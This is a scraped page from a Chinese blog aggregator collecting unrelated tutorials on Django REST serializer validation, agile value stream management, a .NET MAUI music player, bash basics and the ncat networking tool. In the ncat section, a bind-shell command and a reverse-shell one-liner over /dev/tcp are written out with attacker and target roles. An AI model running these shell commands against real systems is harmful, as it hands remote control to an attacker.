在内部类中指定extra_kwargs,给字段添加字段参数的 因为有些字段是从模型类映射过来的,在序列化类中没有这个字段,所以需要使用extra_kwargs添加字段参数。 6 在序列化类中,可以重写某个字段,优先使用你重写的 name = serializers.SerializerMethodField() def get_name(self, obj): return 'sb---' + obj.name 7 以后不需要重写create和update了 -ModelSerializer写好了,兼容性更好,任意表都可以直接存(考虑了外键关联) -当有特殊需求的情况下,也可以重写 在序列化类中,可以重写某个字段,优先使用你重写的: 这里我们在序列化类中,将name字段写了两次,此时会优先用上面的。 正常情况下会直接输出书名,我们进行重写,可以给查询到的结果做一些操作再输出给前端。 也就是说:即可以在fields里面注册某个字段,也可以手动重写字段。 查看效果: 反序列化之数据校验 反序列化的数据校验和forms组件很像。既有字段自己的校验规则,也有局部钩子、全局钩子。 字段自己的校验规则 # 字段自己的校验规则 -如果继承的是Serializer 因为序列化类中有字段,所以可以直接添加字段参数。 name=serializers.CharField(max_length=8,min_length=3,error_messages={'min_length': "太短了"}) -如果继承的是ModelSerializer,有两种方式: 1. 在Meta类上面重写字段 2. 使用Meta类extra_kwargs给字段添加字段参数 extra_kwargs = { 'name': {'max_length': 8, 'min_length': 3}, 'error_messages': {'min_length': "太短了"}, } 注意:只能添加模型类字段包含的字段参数。 钩子函数 # 局部钩子 -如果继承的是Serializer,写法一样 -如果继承的是ModelSerializer,写法一样 def validate_name(self, name): if name.startswith('sb'): # 校验不通过,抛异常 raise ValidationError('不能以sb卡头') else: return name 注意:局部钩子不要写在Meta类中。 全局钩子 -如果继承的是Serializer,写法一样 -如果继承的是ModelSerializer,写法一样 def validate(self, attrs): if attrs.get('name') == attrs.get('publish_date'): raise ValidationError('名字不能等于日期') else: return attrs '''当以上校验全部通过,序列化类的is_valid才会通过''' 局部钩子: form组件局部钩子函数示例: clean_name 反序列化校验局部钩子示例:validate_name 二者只是有名字上的区别。 反序列化数据校验源码分析(了解) # 校验顺序 先校验字段自己的规则(最大,最小),走局部钩子校验,走全局钩子 疑问 局部钩子:validate_name,全局钩子:validate 为什么钩子函数必须这样命名? 入口 从哪开始看源码,哪个操作执行了字段校验 ---> ser.is_valid() 序列化类的继承顺序 你自己写的序列化类 ---> 继承了ModelSerializer ---> 继承了Serializer ---> BaseSerializer ---> Field '''一直往上查找is_valid,发现在BaseSerializer里有,如下只挑选is_valid最关键的代码''' BaseSerializer内的is_valid()方法 def is_valid(self, *, raise_exception=False): '''省略''' # 如果没有进行校验,对象中就没有_validated_data if not hasattr(self, '_validated_data'): try: # 真正进行校验的代码,如果校验成功,返回校验过后的数据 self._validated_data = self.run_validation(self.initial_data) # 这里的self.run_validation运行的是Serializer类的,而不是Field类的。 except ValidationError as exc: return not bool(self._errors) 说明:self.run_validation(self.initial_data)这行代码执行的是Serializer的run_validation -补充说明:如果你按住ctrl键,鼠标点击,会从当前类中找run_validation,找不到会去父类找 -这不是代码的执行,代码执行要从头开始找,从自己身上再往上找(对象方法的查找顺序) 2.查看Serializer中的run_validation: def run_validation(self, data=empty): # 局部钩子的执行 value = self.to_internal_value(data) try: # 全局钩子的执行,从根上开始找着执行,优先执行自己定义的序列化类中得全局钩子 value = self.validate(value) except (ValidationError, DjangoValidationError) as exc: # 注意这里还能捕获django抛出的异常 raise ValidationError(detail=as_serializer_error(exc)) return value -全局钩子看完了,局部钩子---》 self.to_internal_value---》从根上找----》本质执行的Serializer的 3.查看Serializer中的to_internal_value def to_internal_value(self, data): for field in fields: # fields:序列化类中所有的字段,for循环每次取一个字段对象 # 反射:去self:序列化类的对象中,反射 validate_字段名 的方法 validate_method = getattr(self, 'validate_' + field.field_name, None) # field.field_name 获取字段对象的字段名称(字符串) try: # 这句话是字段自己的校验规则(最大最小长度),执行的是field的run_validation validated_value = field.run_validation(primitive_value) # 局部钩子 if validate_method is not None: validated_value = validate_method(validated_value) # 局部钩子运行 except ValidationError as exc: errors[field.field_name] = exc.detail return ret 字段对象是什么: name=serializers.CharField(max_length=8,min_length=3,error_messages={'min_length': "太短了"}) 这里的name就是一个字段对象。具体可以研究OMR怎么实现关系表映射。 查看源码的设置 添加这个设置可以进行前进、回退等操作。 断言assert # 框架的源码中,大量使用断言 assert :断言,作用的判断,断定一个变量必须是xx,如果不是就报错 土鳖写法 name = 'lqz1' if not name == 'lqz': raise Exception('name不等于lqz') print('程序执行完了') assert的断言写法 name = 'lqz1' assert name == 'lqz', 'name不等于lqz' print('程序执行完了') 练习 #1 写出book表(带关联关系)5 个接口 Serializer ModelSerializer(简单,不用重写create和update) name最大8,最小3,名字中不能带sb price最小9,最大199,不能为66 #2 出版社,作者,作者详情 5个接口写完(ModelSerializer好些一些)
2024-01-18
227
0
0
网络聚合
2024-01-18
敏捷价值流管理
对团队或企业来说,敏捷能够通过快速迭代、改进来更好地为客户或终端用户交付价值。但有些团队在引入敏捷项目管理模式之后,团队管理层看了看埋头工作的团队,“唉?团队的效率好像并没有提升啊,这不和以前一样吗……”在这种情况下,研发团队的负责人顶着压力开始敦促研发人员“提效”,不管是结对编程还是代码评审,实际上收获的效果也并不明显。 那到底问题出在哪儿呢? 一、价值流是什么? 我们常说产品的生产制造过程也是一个价值流动的过程,随着产品从一张图纸开始逐渐成型,由半成品转变为成品并递交到使用者的手中,产品的价值才算是由0变为1。这个其实比较容易理解,产品在还没有完全成型时,是没有价值的。比如,买方想要的是一张桌子,当我只制造出一个桌腿的时候,这个桌子是无法售卖或使用的,对于销售者来说没有任何的售卖价值,对于使用者来说也没有任何的使用价值。所以在生产的全过程中,其实是一个价值流动的过程,生产全过程的所有环节构成了一个价值流。 在MBA智库中,价值流的定义是这样的:“ 价值流是指从原材料转变为成品、并为它赋予价值的全部活动。一个完整的价值流包括增值和非增值活动。” 软件研发的整体过程也会像生产过程一样,通过一系列活动为产品赋予价值,并交付给客户或用户。但在这一个过程中,我们会发现有一些动作会阻碍价值的流动,比如在产品研发过程中缺少测试的环节,产品的缺陷没有及时被检测出来,从而无法保证产品质量,大大降低了产品价值的流动与交付。 在整体的业务流程中,我们如果想要提高整体的交付效率,就不能片面地看待产品交付过程。实际上,产品的增值过程是分布在从需求到设计、研发、测试、运维等多个阶段中的,而不是仅在某一个阶段中存在。所以我们只盯着研发阶段进行提效显然是不会有太大改善的,我们需要可视化整个产品研发交付过程,辨别出整个项目过程中的产品增值活动以及非增值活动,识别出在这一整个过程中,存在了哪些浪费以及哪些动作阻碍了价值的流动。然后将这些负面因素与发现的问题解决掉,让产品价值能够快速、顺畅流动。 二、怎样进行价值流管理? 在敏捷项目中,我们应该如何减少浪费,实现利益最大化?这个问题的关键在于“价值的流动”。价值流管理是敏捷中的一个十分重要的实践,更是团队在持续改进、优化过程中的一项基本工作。那我们应该如何来进行价值流管理呢? 1)确认需要识别价值流的阶段 首先我们需要明确要改进哪一阶段。我们可以绘产品全生命周期的价值流图,也可以为单独的某一阶段(如产品测试过程)绘制一个价值流图。总之,我们想要识别出哪一部分工作流程中的瓶颈和障碍,就可以绘制哪一部分的价值流图。 2)列出阶段中的所有步骤 在这一阶段,我们需要真实地还原出实际价值流动的各个步骤。不过需要注意的是,我们模拟的是某一阶段中价值的流动,所以要排除其他阶段或其他活动的干扰。 3)预估每一步骤耗时 根据我们的实际情况对每一个步骤的耗时进行预估,并标记出来。 4)区别增值活动与非增值活动 什么是增值活动与非增值活动?其实简单来讲,就是这个环节对客户来说能否交付价值。比如,设计方案是能交付价值的,但等待方案评审的环节是不能交付价值的。 举个例子,我们需要识别一个广告创意到呈现给客户的这一阶段中的价值流动,因此,在接下来的过程中,我们将分析这一阶段的价值流动。 进行广告需求分析,用时1天; 设计创意方案,用时2天; 等待小组评审方案,用时1天; 等待创意总监评审方案,用时2天; 等待方案拍摄启动,用时1天; 开始广告拍摄,用时4天; 进行广告剪辑,用时3天; 等待小组评审广告视频,用时1天; 等待创意总监评审方案,用时2天; 等待客户反馈方案,用时3天; 修改广告方案,用时2天; 交付最终方案,用时0.5天。 这一阶段总耗时22.5天,其中非增值活动占用的时间为10天,增值活动占用的时间为12.5天。我们可以依据这些数据来计算一下现阶段的价值流动效率,计算公式为: 流动效率=增值活动时间(12.5)/周期时间(22.5)*100%5≈55.6% 如果我们要想提高总体效率的话,除了可以在增值活动中通引入自动化代替手工来完成一些机械性的事情,还可以想办法压缩非增值活动的时间。在上面这个例子中,我们需要挖掘 “等待”时间长的原因,比如“等待方案拍摄启动”的原因在于拍摄场地少,方案拍摄需要走申请与场地方协调,我们就可以通过多找几个场地备选等方案来减少这里的等待时长,提高总体价值流动效率。 当我们把原本的工作可视化出来的时候,我们会能够清晰地看到现有流程中,有哪些环节是需要简化步骤的,有哪些环节造成了资源浪费以及有哪些环节造成了价值流动时的阻塞,从而帮助我们更有效地解决问题。所以通过价值流管理,我们可以度量实际的价值流动效率,并提出改进目标,来推动整个项目管理过程的持续改善。
2024-01-18
321
0
0
网络聚合
2024-01-18
深入解读.NET MAUI音乐播放器项目(一):概述与架构
系列文章将分步解读音乐播放器核心业务及代码: 深入解读.NET MAUI音乐播放器项目(一):概述与架构 深入解读.NET MAUI音乐播放器项目(二):播放内核 深入解读.NET MAUI音乐播放器项目(三):界面与交互 为什么想起来这个项目了呢? 这是一个Windows Phone 8的老项目,2014年用作为兴趣写了个叫“番茄播放器”的App,顺便提高编程技能。 这个项目的架构历经多次迁移,从WP8到UWP再到Xamarin.Forms。去年底随着MAUI的正式发布,又尝试把它迁移到MAUI上来。 虽然历经数次迁移,但命名空间和播放内核的代码基本没怎么改动,这个项目随着解决方案升级,依赖库、API调用方式的变更,见证了微软在移动互联网领域的动荡。我偶然发现8年前提交到微软商店的App,竟然还能够打开下载页面 - Microsoft应用商店,但由于我手边没有一台Windows Phone设备,也没法让它在任何的模拟器中跑起来。也只能从商店截图和源代码中重温这个物件和那段时光。 这个项目现在已经没有任何的商业价值,但我知道它对于我意味着什么,曾给我带来的在编程时的那种欣喜和享受,可以说真正让我知道什么叫“Code 4 Fun”——编程带来的快乐,对于那时刚进入社会的我,树立信心和坚持道路有莫大的帮助。 这个项目可能从来就没有价值。那么写博文和开源能发挥多少价值就算多少吧。 当下在.Net平台上有不少开源的音频封装库,如Plugin.Maui.Audio,本项目没有依赖任何音频的第三方库,希望大家以学习的态度交流,如果您有更好的实现方式,欢迎在文章下留言。因为代码年代久远且近年来没有重构,C#语言版本和代码写法上会有不少繁冗,这里还要向大家说声抱歉。 架构 使用Abp框架,我之前写过如何 将Abp移植进.NET MAUI项目,本项目也是按照这篇博文完成项目搭建。 跨平台 使用.NET MAU实现跨平台支持,从Xamarin.Forms移植的应用可以在Android和iOS平台上顺利运行。 播放内核是由分部类提供跨平台支持的,在Xamarin.Forms时代,需要维护不同平台的项目,MAUI是单个项目支持多个平台。 MAUI 应用项目包含 一个 Platform 文件夹,每个子文件夹表示 .NET MAUI 可以面向的平台 每个文件夹代表了每个平台特定的代码, 在默认的情况下 编译阶段仅仅会编译当前选择的平台文件夹代码。 这属于利用分部类和方法创建平台特定内容,详情请参考官方文档 如IMusicControlService在项目中分部类实现: MatoMusic.Core\Impl\MusicControlService.cs MatoMusic.Core\Platforms\Android\MusicControlService.cs MatoMusic.Core\Platforms\iOS\MusicControlService.cs MatoMusic.Core\Platforms\Windows\MusicControlService.cs 核心类 在设计播放内核时,从用户的交互路径思考,抽象出了曲目管理器IMusicInfoManager和播放控制服务IMusicControlService, 播放器行为和曲目操作行为在各自领域相互隔离,通过生产-消费模型,数据流转和消息通知冒泡协调一致。尽量规避了大规模使用线程锁,以及复杂的线程同步逻辑。在跨平台方案中,通过分部类实现了这些接口,类图如下: 音乐播放相关服务类MusicRelatedService是播放控制服务的一层封装,在实际播放器业务逻辑上,利用封装的代码能更方便的完成任务。 项目遵循MVVM设计模式,MusicRelatedViewModel作为音乐播放相关ViewModel的基类,包含了曲目管理器IMusicInfoManager和播放控制服务IMusicControlService对象,通过双向绑定开发者可以从表现层轻松进行音乐控制和曲目访问 ViewModelBase是个基础类,它继承自AbpServiceBase,封装了Abp框架通用功能的调用。比如Setting、Localization和UnitOfWork功能。并且实现了INotifyPropertyChanged,它为绑定类型的每个属性提供变更事件。 核心类图如下 定义 Queue - 歌曲队列,当前用于播放歌曲的有序列表 Playlist - 歌单,存储可播放内容的集合,用于收藏曲目,添加到我的最爱等。 PlaylistEntry - 歌单条目,可播放内容,关联一个本地音乐或在线音乐信息 MyFavourite - 我的最爱,一个id为1的特殊的歌单,不可编辑和删除,用于记录点亮歌曲小红心 MusicInfo - 曲目信息 AlbumInfo - 专辑信息 ArtistInfo - 艺术家信息 BillboardInfo - 排行榜,在线音乐歌单 曲目 曲目包含: Title - 音乐标题 AlbumTitle - 专辑标题 GroupHeader - 标题头,用于列表分组显示的依据 Url - 音频文件地址 Artist - 艺术家 Genre - 流派 IsFavourite - 是否已“我最喜爱” IsPlaying - 是否正在播放 AlbumArtPath - 封面图片 Duration - 歌曲总时长 如果配合模糊搜索控件,需要实现IClueObject,使用方式请参考AutoComplete控件 public class MusicInfo : ObservableObject, IBasicInfo, IClueObject { .. } public List<string> ClueStrings { get { var result = new List<string>(); result.Add(Title); result.Add(Artist); result.Add(AlbumTitle); return result; } } 它继承自ObservableObject,构造函数中注册属性更改事件 IsFavourite更改时,将调用MusicInfoManager将当前曲目设为或取消设为“我最喜爱” private void MusicInfo_PropertyChanged(object sender, PropertyChangedEventArgs e) { var MusicInfoManager = IocManager.Instance.Resolve<MusicInfoManager>(); if (e.PropertyName == nameof(IsFavourite)) { if (IsFavourite) { MusicInfoManager.CreatePlaylistEntryToMyFavourite(this); } else { MusicInfoManager.DeletePlaylistEntryFromMyFavourite(this); } } } 曲目集合 曲目集合是歌单,音乐专辑或者艺术家(演唱者)创作的音乐的抽象,它包含: Title - 标题,歌单,音乐专辑或者艺术家名称 GroupHeader - 标题头,用于列表分组显示的依据 Musics - 曲目信息集合 AlbumArtPath - 封面图片 Count - 歌曲集合曲目数 Time - 歌曲集合总时长 它继承自ObservableObject AlbumInfo,ArtistInfo,PlaylistInfo,BillboardInfo 都是曲目集合的子类 Musics是曲目集合的内容,类型为ObservableCollection<MusicInfo>,双向绑定时提供队列变更事件。 集合曲目数和集合总时长依赖这个变量 public int Count => Musics.Count(); public string Time { get { var totalSec = Math.Truncate((double)Musics.Sum(c => (long)c.Duration)); var totalTime = TimeSpan.FromSeconds(totalSec); var time = totalTime.ToString("g"); return time; } } 当集合内容增删时,同步通知歌曲集合曲目数以及总时长变更 private void _musics_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) { if (e.Action == NotifyCollectionChangedAction.Remove || e.Action == NotifyCollectionChangedAction.Add) { RaisePropertyChanged(nameof(Time)); RaisePropertyChanged(nameof(Count)); } } GroupHeader标题头,一般取得是标题的首字母,若标题为中文,则使用Microsoft.International.Converters.PinYinConverter获取中文第一个字的拼音首字母,跨平台实现方式如下: private partial string GetGroupHeader(string title) { string result = string.Empty; if (!string.IsNullOrEmpty(title)) { if (Regex.IsMatch(title.Substring(0, 1), @"^[\u4e00-\u9fa5]+$")) { try { var chinese = new ChineseChar(title.First()); result = chinese.Pinyins[0].Substring(0, 1); } catch (Exception ex) { return string.Empty; } } else { result = title.Substring(0, 1); } } return result; } GroupHeader用于列表分组显示的内容将在后续文章中阐述 数据库 应用程序里使用Sqlite,作为播放列表,歌单,设置等数据的持久化 ,使用CodeFirst方式用EF初始化Sqlite数据库文件:mato.db 在MatoMusic.Core项目的appsettings.json中添加本地sqlite连接字符串 "ConnectionStrings": { "Default": "Data Source=file:{0};" }, ... 这里文件是一个占位符,通过代码hardcode到配置文件 在MatoMusicCoreModule.cs中,重写PreInitialize并设置Configuration.DefaultNameOrConnectionString: public override void PreInitialize() { LocalizationConfigurer.Configure(Configuration.Localization); Configuration.Settings.Providers.Add<CommonSettingProvider>(); string documentsPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), MatoMusicConsts.LocalizationSourceName); var configuration = AppConfigurations.Get(documentsPath, development); var connectionString = configuration.GetConnectionString(MatoMusicConsts.ConnectionStringName); var dbName = "mato.db"; string dbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), MatoMusicConsts.LocalizationSourceName, dbName); Configuration.DefaultNameOrConnectionString = String.Format(connectionString, dbPath); base.PreInitialize(); } 接下来定义实体类 播放队列 定义于\MatoMusic.Core\Models\Entities\Queue.cs public class Queue : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public long MusicInfoId { get; set; } public int Rank { get; set; } public string MusicTitle { get; set; } } 歌单 定义于\MatoMusic.Core\Models\Entities\Playlist.cs public class Playlist : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public string Title { get; set; } public bool IsHidden { get; set; } public bool IsRemovable { get; set; } public ICollection<PlaylistItem> PlaylistItems { get; set; } } 歌单条目 定义于\MatoMusic.Core\Models\Entities\PlaylistItem.cs public class PlaylistItem : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public int Rank { get; set; } public long PlaylistId { get; set; } [ForeignKey("PlaylistId")] public Playlist Playlist { get; set; } public string MusicTitle { get; set; } public long MusicInfoId { get; set; } } 配置 数据库上下文对象MatoMusicDbContext定义如下 public class MatoMusicDbContext : AbpDbContext { //Add DbSet properties for your entities... public DbSet<Queue> Queue { get; set; } public DbSet<Playlist> Playlist { get; set; } public DbSet<PlaylistItem> PlaylistItem { get; set; } ... MatoMusic.EntityFrameworkCore是应用程序数据库的维护和管理项目,依赖于Abp.EntityFrameworkCore。 在MatoMusic.EntityFrameworkCore项目中csproj文件中,引用下列包 <PackageReference Include="Abp.EntityFrameworkCore" Version="7.4.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore" Version="7.0.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="7.0.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite.Design" Version="1.1.6" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Tools" Version="7.0.0"> 在该项目MatoMusicEntityFrameworkCoreModule.cs 中,将注册上下文对象,并在程序初始化运行迁移,此时将在设备上生成mato.db文件 public override void PostInitialize() { Helper.WithDbContextHelper.WithDbContext<MatoMusicDbContext>(IocManager, RunMigrate); if (!SkipDbSeed) { SeedHelper.SeedHostDb(IocManager); } } public static void RunMigrate(MatoMusicDbContext dbContext) { dbContext.Database.Migrate(); } 项目地址 GitHub:MatoMusic 下一章将介绍播放器核心功能:播放服务类
2024-01-18
440
0
0
网络聚合
2024-01-18
linux 基础(6)简单认识 bash
shell 和 bash 是什么? shell 是一种应用程序,在这个程序里输入文字指令,系统就会做出响应的操作。这个“壳程序”是我们使用系统各种功能的接口,学会了 shell 就是学会操作 linux 系统。检索/etc/shells,可以看到当前系统的 shell 有哪些。而 bash (Bourne Again SHell)是大部分 linux 的默认 shell 程序,也是最广泛使用的 shell。 shell, termial, console, tty 之间的区别 在现代计算机语境下 termial, console, tty 是同一个意思即“终端”。终端就是一个与用户交互的界面,和 shell 相连接。用 Windows 的软件名字来理解就非常容易。Bash 的 sh 代表 shell,powershell也是一个shell,他们接受输入,执行操作;而 windows terminal 就是一个终端,他装着shell进程,接受键盘输入交给shell,输出操作结果,管理输入输出,字体样式,大小颜色。 bash 的变量功能 bash 语句可以使用和储存变量,有了这个功能,bash 就不只是交互工具,而拥有编程功能。 变量的读写 echo可以查看一个变量,读变量需要加上$,如果不存在会读空值而不是报错。 echo $var echo ${var} # 都可以 写变量不需要符号,直接等号赋值,已有的赋新值,没有的创建。字符串可以复用已有变量。 myvar1=hello # 创建变量,注意等号不能有空格,这和大多数语言不一样 myvar2="world" # 也可以用单双引号 myvar2="${myvar1} world" # 双引号会格式化字符串,结果 hello world,没有引号也会格式化 myvar2='${myvar1} world' # 单引号不会格式化字符串,结果 ${myvar1} world myvar2=hello\ world # 反斜杠可以转义,表达空格、反斜杠和单双引号 unset myvar1 # 删除变量 特殊用法,可以包裹指令,以指令输出作为值。 a=$(uname -a) #执行 uname -a,输入赋值给a a=`uname -a` #反引号也可以 自订变量和环境变量 环境变量是打开 shell 时就加载的一些的变量,他们保存 bash 的个人配置,非常重要。输入env查询环境变量。 当前 shell,主机名称,当前目录,PATH,语言设定等,都是编写程序需要用到的重要变量。 环境变量可以传递到 bash 启动的子程序里,自定变量却不可以。想要把自订变量转化成环境变量,就用 export 指令 export myvar1 declare 详细设定变量 declare可以详细的设置变量属性。 declare -air myvar -i: 设定数字类型。使用等号赋值一定得到字符串变量,比如`a=3`会得到字符串`3`,不能进行数学运算。declare可以创建数字类型变量 -r: 设定为只读变量 -a: 设定为数组类型。bash 的数组类型没有太多的功能,主要用于循环遍历 bash 的进阶操作 alias 别名 alias 可以给一个长命令全一个短名字,方便实用。如alias ls=ls --color=auto就可以让 ls 执行时实际执行ls --color=auto。alias 的优先级高,所以ls会取代原来没有参数的ls。不同的 distribution 内置了一些常用的alias。 alias la=ls -a alias ll=ls -al alias vi=vim alias rm=rm -i ... 历史命令 按下上箭头可以调用历史输入。也可以使用 history 直接查看命令。 history 3 # 显示最近 3 条历史 history -c # 清除历史 history -w # 立刻将本 shell 历史写入.bash_history,默认在 shell 退出的时候会写入 感叹号也可以直接用来调用历史 !92 # 执行历史指令 92 号 !gcc # 执行最近一条以gcc开头的指令,这个很方便 由于 .bash_history 一般在 shell 退出的时候更新,如果开启了多个shell,.bash_history 只有最后退出的 shell 记录。 数据流和重定向 键入一条指令,输出一堆数据,有一些指令还需要输入,默认输出都打印在屏幕上,输入用键盘敲。如果我希望从文件输入,从文件输出,就需要修改输入输出的设置;另一方面,有一些输出是我们想看到的信息,叫做标准输出流,还有一类输出是报错信息,叫做标准错误流,他们是可以区分开的。 重定向输出流使用>和>>,重定向错误流用2>和2>>,输入流也类似,<表示输入由文件提供。 ls >lsinfo # 屏幕无输出,储存在lsinfo里,若没有则创建,有则覆盖。 ls >>lsinfo # 屏幕无输出,储存在lsinfo里,若没有则创建,有则追加。 ls /dir 2>lsinfo # 查看不存在的目录会报错,屏幕无输出,错误信息输入lsinfo,若存在则屏幕输出,2>不接收信息 ls /dir 2>/dev/null >lsinfo # 输出到lsinfo,若有错误信息,输出到/dev/null ./a.out <input.txt # input.txt提供a.out的输入 /dev/null叫做黑洞设备,可以直接丢弃任何进来的信息。 如果我需要像默认情况一样把输出流和错误流重定向到同一个地方,不能使用>file 2>file的形式,这样会使两个程序写同一个文件。可以使用&>file或者1>file 2>&1 bash 的一些特性 指令搜寻顺序 当我们输入一个指令,他会在哪里寻找这个指令呢?首先指定路径的肯定按路径执行了,没有路径的,则是alias > builtin > PATH file。优先寻找alias,然后是shell内置,最后在 PATH 里从前往后寻找 提示符 用echo $PS1,可以查看他的值,这就是“命令提示字符”,也就是每次输入命令前面的提示字符。 echo $PS1 \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ PS1 的内容是一门微语言,里面的内容经过替换后就是成为了每次回车前的命令提示符,比如 \u 代表用户名,\h 代表主机名,\t 代表时间等,\e[]则可以设定字符的粗细颜色等。想要自定义漂亮的提示符,就可以去搜索 PS1 的语法。 开屏信息 每次打开终端显示的信息在哪里修改?这个文件不在变量而在/etc/issue。 cat /etc/issue 这些符号和 PS1 一样可以自订修改。可以打印日期,时间,系统信息等。 配置加载文件 首先我们要明白,shell 分为 login shell 和 non-login shell。login shell 是每个用户进入系统输入账号密码登陆成功后取得的那个shell,而 non-login shell 则是已经登录后开启的其他shell。对于图形化界面,可以把 GUI 也理解为一个 shell,你开机时已经输入了账号密码,所以打开的 shell 是 non-login shell。 login shell 首先读取的配置文件是/etc/profile,这里是所有用户共有的基本设定,会根据用户配置PATH、umask,配置命令参数补全等,不推荐修改。然后会读取个人配置,首先读取~/.bash_profile,没有的话再选择~/.bash_login,还没有就读取~/.profile三个按优先级,只会读取其中一个。non-login shell 仅读取另一个文件~/.bashrc,不会再读前面的配置文件。 万用字符 bash 指定目录和文件名时支持特殊字符的匹配: 万用字符和其他特殊字符可以用反斜杠还原成普通字符。
2024-01-18
259
0
0
网络聚合
2024-01-18
Linux命令篇 - nc(ncat) 命令
nc (ncat) Ncat is a feature-packed networking utility which reads and writes data across networks from the command line; nc(ncat):Ncat是一个功能丰富的网络实用工具;支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能; 格式:ncat [OPTIONS...] [hostname] [port] 常用参数: OPTIONS 意义 -l 使用监听模式,意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接 -p 设置本地主机使用的通信端口 -s 设置本地主机送出数据包的IP地址 -u 使用UDP传输协议 -v 显示指令执行过程 -w 设置等待连线的时间 -z 使用0输入/输出模式,只在扫描通信端口时使用 nc、netcat、ncat区别: nc与netcat是一个组件,ncat是nmap分支下的一个命令; nc / ncat 在CentOS 上是同一个命令工具,是一个功能丰富的网络实用程序,可通过命令行在网络上读写数据; 使用 ncat 时,尽量不要使用 nc,避免与 netcat 冲突; 若安装了ncat时,nc、netcat都成了ncat的alias,命令行里输入这三者都是一样的; netcat和ncat的-z参数是不相等的; 可通过rpm -qa|grep nc命令,查看nc是指netcat还是ncat; Ncat是在原始Netcat之上新增功能二次开发的另一款强大工具,也就是说Netcat有的功能Ncat都具备,并且Ncat还有更多强大的功能。 参考案例: 扫描80端口 # nc可用ncat代替 $ nc -nvv 192.168.3.1 80 远程通信 # ncat 命令在20000端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口; # 输出和输入都在此shell中展示 Server$ nc -l 20000 Client$ nc Server-IP 20000 文件传输 # 从Client传输文件到Server # 需要在Server上使用nc监听,server上运行监听命令; Server$ nc -lp 12345 >> test.log # Client运行传输命令 Client$ nc -w 1 Server-IP 12345 < xxx.log 从Server传输文件到Client 需要在Server上使用nc监听,server上运行监听命令; Server$ nc -lp 12345 < test.log Client运行传输命令 Client$ nc -w 1 Server-IP 12345 > xxx.log 目录传输 # 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令; # tar zxvf - 通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据; Server$ nc -l 23456|tar zxvf - tar zcvf - 通过tar zcvf压缩,将目录Directory压缩后传输到管道中;-表示输出到管道中; Client$ tar zcvf - Directory | nc Server-IP 23456 抓取Banner信息 # 一旦发现开放的端口,可以容易的使用ncat 连接服务抓取他们的banner $ nc -v 172.31.100.7 21 正向Shell 正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。 # 正向shell是目标机(被攻击方)先执行nc命令,然后攻击机(攻击方)上再进行nc连接,即可反弹shell # 正向shell需要目标机安装nc # 正向shell 需要目标机firewalld可过滤 target: 目标服务器系统(被攻击方) target$ nc -lkvp 7777 -e /bin/bash attack: 攻击者系统(攻击方) attack$ nc Target-IP 7777 反向shell 反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点;缺点就是攻击机的IP必须能支持靶机的主动寻址,换句话来说就是攻击机需要有公网IP地址;举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是网络环境的问题。 # attack: 攻击者系统(攻击方) # -k: 当客户端从服务端断开连接后,过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态; attack$ nc -lkvnp 6677 target: 目标服务器系统(被攻击方) -i: 指定断开的时候,单位为秒 Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1 测试网速 # 服务端 Server$ nc -l <port> > /dev/null 客户端 Client$ nc Server-IP <port> < /dev/zero 测试连通性 # 测试tcp端口连通性 # nc -vz ip tcp-port $ nc -zv 192.168.188.188 5432 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.188.188:5432. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. 测试udp端口连通性 nc -uvz ip udp-port $ nc -uzv 192.168.188.188 7899 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.188.188:7899. Ncat: Connection refused. 端口监听 # 临时监听TCP端口 # nc -l port >> filename.out 将监听内容输入到filename.out文件中 $ nc -l 7789 >> a.out 永久监听TCP端口 nc -lk port $ nc -lk 7789 >> a.out 临时监听UDP nc -lu port $ nc -lu 7789 >> a.out 永久监听UDP nc -luk port $ nc -luk 7789 >> a.out
2024-01-18
298
0
0
网络聚合
2024-01-18
ThreadLocal真的会造成内存泄漏吗?
